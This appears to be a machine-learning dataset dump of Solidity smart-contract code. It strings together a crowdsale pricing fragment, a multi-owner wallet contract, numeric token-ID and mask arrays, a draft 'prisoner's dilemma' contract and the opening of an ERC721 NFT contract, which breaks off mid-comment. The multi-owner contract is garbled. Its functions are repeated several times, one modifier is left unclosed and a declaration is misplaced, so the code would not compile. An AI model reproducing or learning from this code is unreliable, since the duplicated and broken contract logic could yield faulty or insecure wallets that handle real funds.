Start time of the crowdsale */ function getStartTime() internal constant returns (uint) { return m_startTimestamp; } /** * End time of the crowdsale */ function getEndTime() internal constant returns (uint) { return m_startTimestamp + 60 days; } /** * Formula for calculating tokens from contributed ether */ function calculateTokens(address /*investor*/, uint payment, uint /*extraBonuses*/) internal constant returns (uint) { uint256 secondMonth = m_startTimestamp + 30 days; if (getCurrentTime() <= secondMonth) { return payment.mul(m_exchangeRate); } else if (getCurrentTime() <= secondMonth + 1 weeks) { return payment.mul(m_exchangeRate).mul(100).div(105); } else if (getCurrentTime() <= secondMonth + 2 weeks) { return payment.mul(m_exchangeRate).mul(100).div(110); } else if (getCurrentTime() <= secondMonth + 3 weeks) { return payment.mul(m_exchangeRate).mul(100).div(115); } else if (getCurrentTime() <= secondMonth + 4 weeks) { return payment.mul(m_exchangeRate).mul(100).div(120); } else { return payment.mul(m_exchangeRate).mul(100).div(125); } } /** * Additional on-success actions */ function wcOnCrowdsaleSuccess() internal { super.wcOnCrowdsaleSuccess(); //20% of total totalSupply to team m_token.mint( m_foundersTokensStorage, getToken().totalSupply().mul(20).div(80) ); getToken().startCirculation(); getToken().detachController(); } /** * Returns attached token */ function getToken() internal returns(MetropolToken) { return MetropolToken(m_token); } }
note: during any ownership changes all pending operations (waiting for more signatures) are cancelled TODO acceptOwnership TYPES struct for the status of a pending operation.
contract multiowned { struct MultiOwnedOperationPendingState { uint yetNeeded; uint ownersDone; uint index; } event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); event FinalConfirmation(address owner, bytes32 operation); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); event OwnerChanged(address oldOwner, address newOwner); event RequirementChanged(uint newRequirement); modifier onlyowner { require(isOwner(msg.sender)); _; } modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) { _; } modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) { _; } } modifier validNumOwners(uint _numOwners) { require(_numOwners > 0 && _numOwners <= c_maxOwners); _; } modifier multiOwnedValidRequirement(uint _required, uint _numOwners) { require(_required > 0 && _required <= _numOwners); _; } modifier ownerExists(address _address) { require(isOwner(_address)); _; } modifier ownerDoesNotExist(address _address) { require(!isOwner(_address)); _; } modifier multiOwnedOperationIsActive(bytes32 _operation) { require(isOperationActive(_operation)); _; } function multiowned(address[] _owners, uint _required) validNumOwners(_owners.length) multiOwnedValidRequirement(_required, _owners.length) { assert(c_maxOwners <= 255); m_numOwners = _owners.length; m_multiOwnedRequired = _required; for (uint i = 0; i < _owners.length; ++i) { address owner = _owners[i]; require(0 != owner && !isOwner(owner) /* not isOwner yet! */); uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */); m_owners[currentOwnerIndex] = owner; m_ownerIndex[owner] = currentOwnerIndex; } assertOwnersAreConsistent(); } function multiowned(address[] _owners, uint _required) validNumOwners(_owners.length) multiOwnedValidRequirement(_required, _owners.length) { assert(c_maxOwners <= 255); m_numOwners = _owners.length; m_multiOwnedRequired = _required; for (uint i = 0; i < _owners.length; ++i) { address owner = _owners[i]; require(0 != owner && !isOwner(owner) /* not isOwner yet! */); uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */); m_owners[currentOwnerIndex] = owner; m_ownerIndex[owner] = currentOwnerIndex; } assertOwnersAreConsistent(); } function changeOwner(address _from, address _to) external ownerExists(_from) ownerDoesNotExist(_to) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]); m_owners[ownerIndex] = _to; m_ownerIndex[_from] = 0; m_ownerIndex[_to] = ownerIndex; assertOwnersAreConsistent(); OwnerChanged(_from, _to); } function addOwner(address _owner) external ownerDoesNotExist(_owner) validNumOwners(m_numOwners + 1) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); m_numOwners++; m_owners[m_numOwners] = _owner; m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners); assertOwnersAreConsistent(); OwnerAdded(_owner); } function removeOwner(address _owner) external ownerExists(_owner) validNumOwners(m_numOwners - 1) multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]); m_owners[ownerIndex] = 0; m_ownerIndex[_owner] = 0; reorganizeOwners(); assertOwnersAreConsistent(); OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) external multiOwnedValidRequirement(_newRequired, m_numOwners) onlymanyowners(sha3(msg.data)) { m_multiOwnedRequired = _newRequired; clearPending(); RequirementChanged(_newRequired); } function getOwner(uint ownerIndex) public constant returns (address) { return m_owners[ownerIndex + 1]; } function getOwners() public constant returns (address[]) { address[] memory result = new address[](m_numOwners); for (uint i = 0; i < m_numOwners; i++) result[i] = getOwner(i); return result; } function isOwner(address _addr) public constant returns (bool) { return m_ownerIndex[_addr] > 0; } function amIOwner() external constant onlyowner returns (bool) { return true; } function revoke(bytes32 _operation) external multiOwnedOperationIsActive(_operation) onlyowner { uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); var pending = m_multiOwnedPending[_operation]; require(pending.ownersDone & ownerIndexBit > 0); assertOperationIsConsistent(_operation); pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; assertOperationIsConsistent(_operation); Revoke(msg.sender, _operation); } function hasConfirmed(bytes32 _operation, address _owner) external constant multiOwnedOperationIsActive(_operation) ownerExists(_owner) returns (bool) { return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0); } function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) clearPending(); var pending = m_multiOwnedPending[_operation]; if (! isOperationActive(_operation)) { pending.yetNeeded = m_multiOwnedRequired; pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } if (pending.ownersDone & ownerIndexBit == 0) { assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) clearPending(); var pending = m_multiOwnedPending[_operation]; if (! isOperationActive(_operation)) { pending.yetNeeded = m_multiOwnedRequired; pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } if (pending.ownersDone & ownerIndexBit == 0) { assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) clearPending(); var pending = m_multiOwnedPending[_operation]; if (! isOperationActive(_operation)) { pending.yetNeeded = m_multiOwnedRequired; pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } if (pending.ownersDone & ownerIndexBit == 0) { assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) clearPending(); var pending = m_multiOwnedPending[_operation]; if (! isOperationActive(_operation)) { pending.yetNeeded = m_multiOwnedRequired; pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } if (pending.ownersDone & ownerIndexBit == 0) { assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) clearPending(); var pending = m_multiOwnedPending[_operation]; if (! isOperationActive(_operation)) { pending.yetNeeded = m_multiOwnedRequired; pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } if (pending.ownersDone & ownerIndexBit == 0) { assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() private onlyowner { uint length = m_multiOwnedPendingIndex.length; for (uint i = 0; i < length; ++i) { if (m_multiOwnedPendingIndex[i] != 0) delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]]; } delete m_multiOwnedPendingIndex; } function clearPending() private onlyowner { uint length = m_multiOwnedPendingIndex.length; for (uint i = 0; i < length; ++i) { if (m_multiOwnedPendingIndex[i] != 0) delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]]; } delete m_multiOwnedPendingIndex; } function checkOwnerIndex(uint ownerIndex) private constant returns (uint) { assert(0 != ownerIndex && ownerIndex <= c_maxOwners); return ownerIndex; } function makeOwnerBitmapBit(address owner) private constant returns (uint) { uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]); return 2 ** ownerIndex; } function isOperationActive(bytes32 _operation) private constant returns (bool) { return 0 != m_multiOwnedPending[_operation].yetNeeded; } function assertOwnersAreConsistent() private constant { assert(m_numOwners > 0); assert(m_numOwners <= c_maxOwners); assert(m_owners[0] == 0); assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners); } function assertOperationIsConsistent(bytes32 _operation) private constant { var pending = m_multiOwnedPending[_operation]; assert(0 != pending.yetNeeded); assert(m_multiOwnedPendingIndex[pending.index] == _operation); assert(pending.yetNeeded <= m_multiOwnedRequired); } uint constant c_maxOwners = 250; bytes32[] internal m_multiOwnedPendingIndex; uint public m_multiOwnedRequired; uint public m_numOwners; address[256] internal m_owners; mapping(address => uint) internal m_ownerIndex; mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending; }
7,268,813
[ 1, 7652, 30, 4982, 1281, 23178, 3478, 777, 4634, 5295, 261, 20241, 364, 1898, 14862, 13, 854, 13927, 2660, 2791, 5460, 12565, 3463, 55, 1958, 364, 326, 1267, 434, 279, 4634, 1674, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3309, 995, 329, 288, 203, 203, 203, 203, 203, 565, 1958, 5991, 5460, 329, 2988, 8579, 1119, 288, 203, 565, 2254, 4671, 11449, 31, 203, 203, 565, 2254, 25937, 7387, 31, 203, 203, 565, 2254, 770, 31, 203, 565, 289, 203, 203, 565, 871, 17580, 367, 12, 2867, 3410, 16, 1731, 1578, 1674, 1769, 203, 565, 871, 23863, 12, 2867, 3410, 16, 1731, 1578, 1674, 1769, 203, 565, 871, 16269, 17597, 12, 2867, 3410, 16, 1731, 1578, 1674, 1769, 203, 203, 565, 871, 16837, 8602, 12, 2867, 394, 5541, 1769, 203, 565, 871, 16837, 10026, 12, 2867, 1592, 5541, 1769, 203, 203, 203, 203, 565, 871, 16837, 5033, 12, 2867, 1592, 5541, 16, 1758, 394, 5541, 1769, 203, 565, 871, 30813, 5033, 12, 11890, 394, 18599, 1769, 203, 203, 565, 9606, 1338, 8443, 288, 203, 3639, 2583, 12, 291, 5541, 12, 3576, 18, 15330, 10019, 203, 3639, 389, 31, 203, 565, 289, 203, 565, 9606, 1338, 9353, 995, 414, 12, 3890, 1578, 389, 7624, 13, 288, 203, 3639, 309, 261, 10927, 31151, 24899, 7624, 3719, 288, 203, 5411, 389, 31, 203, 3639, 289, 203, 203, 565, 9606, 1338, 9353, 995, 414, 12, 3890, 1578, 389, 7624, 13, 288, 203, 3639, 309, 261, 10927, 31151, 24899, 7624, 3719, 288, 203, 5411, 389, 31, 203, 3639, 289, 203, 203, 565, 289, 203, 565, 9606, 923, 2578, 5460, 414, 12, 11890, 389, 2107, 5460, 414, 13, 288, 203, 3639, 2583, 24899, 2107, 5460, 414, 405, 374, 597, 389, 2107, 5460, 414, 1648, 276, 67, 1896, 5460, 2 ]
// rough draft made by meetup members on 10/7/19 pragma solidity ^0.5.1; // prisioner's dilemma contract Tekashi69_Dilemma { // the suspects' choices // hack to name sure pending is 0 which is a default value enum Choice { NULL, PENDING, SILENCE, SNITCH } address suspect1; address suspect2; // doesn't have to specify where its use before the constructor // each suspect can make a choice mapping(address => Choice) suspectChoices; constructor(address suspect1, address suspect2) public { suspect1 = suspect1; suspect2 = suspect2; suspectChoices[suspect1] = Choice.PENDING; suspectChoices[suspect2] = Choice.PENDING; } // the suspect makes a decision function suspectDecision(Choice choice) public { // suspects can only decide // you can still make a decsion require(suspectChoices[msg.sender] == Choice.PENDING); require(isValid(choice)); // make a choice! suspectChoices[msg.sender] = choice; // prosecutor giggles and runs verdict() verdict(); } // final deal function verdict() internal { // check if there are not pending // did the other guy make the choice? // if so, we have a verdict // if we use require() the function gets killed, no error handling if (interrogated(suspect1) && interrogated(suspect2)) { // assign sentences to suspects } else { // other guy needs to make decision } } // domain driven design function isValid(Choice choice) internal pure returns (bool) { // prosecutor pressures you to make choice, // can't choose pending to stall or Denial of service return choice == Choice.SILENCE || choice == Choice.SNITCH; } function interrogated(address suspect) internal view returns (bool) { return isValid(suspectChoices[suspect]); } } /* To improve: - create struct for players and remove hack in enum. - send enough ETH early on and get a lawyer - Run out of ETH make a decision. - add aztec protocol to hide decision, other guy could just see the decision. It's a game. two players -> two addresses Logic: What the point: would rational person would trust? From math perspective, its rational to betray decision() happens one at a time. order doesn't matter, just needs to happen. betray: If one A rats out the B: A: 0, B:3 If one B rats out the A: A: 3, B:0 Both A and B: A: 2, B: 2 cooperate: If A and B stay silent: A: 1, B: 1 */
domain driven design prosecutor pressures you to make choice, can't choose pending to stall or Denial of service
function isValid(Choice choice) internal pure returns (bool) { return choice == Choice.SILENCE || choice == Choice.SNITCH; }
5,513,467
[ 1, 4308, 5081, 837, 8281, 450, 3321, 3408, 11779, 1823, 1846, 358, 1221, 6023, 16, 848, 1404, 9876, 4634, 358, 384, 454, 578, 22453, 649, 434, 1156, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4908, 12, 10538, 6023, 13, 2713, 16618, 1135, 261, 6430, 13, 288, 203, 3639, 327, 6023, 422, 16432, 18, 2320, 13017, 1441, 747, 6023, 422, 16432, 18, 13653, 25588, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * OpenZepplin contracts contained within are licensed under an MIT License. * * The MIT License (MIT) * * Copyright (c) 2016-2021 zOS Global Limited * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * Chainlink contracts contained within are licensed under an MIT License. * * The MIT License (MIT) * * Copyright (c) 2018-2021 SmartContract ChainLink, Ltd. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "https://raw.githubusercontent.com/smartcontractkit/chainlink/develop/contracts/src/v0.8/VRFConsumerBase.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/token/ERC721/IERC721.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/token/ERC721/IERC721Receiver.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/Address.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/Context.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/Strings.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/introspection/ERC165.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/security/ReentrancyGuard.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name = "DegenerateFarm.io"; // Token symbol string private _symbol = "PIG"; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token URI for fetching metadata string internal baseURI; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(baseURI, tokenId.toString())); } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints 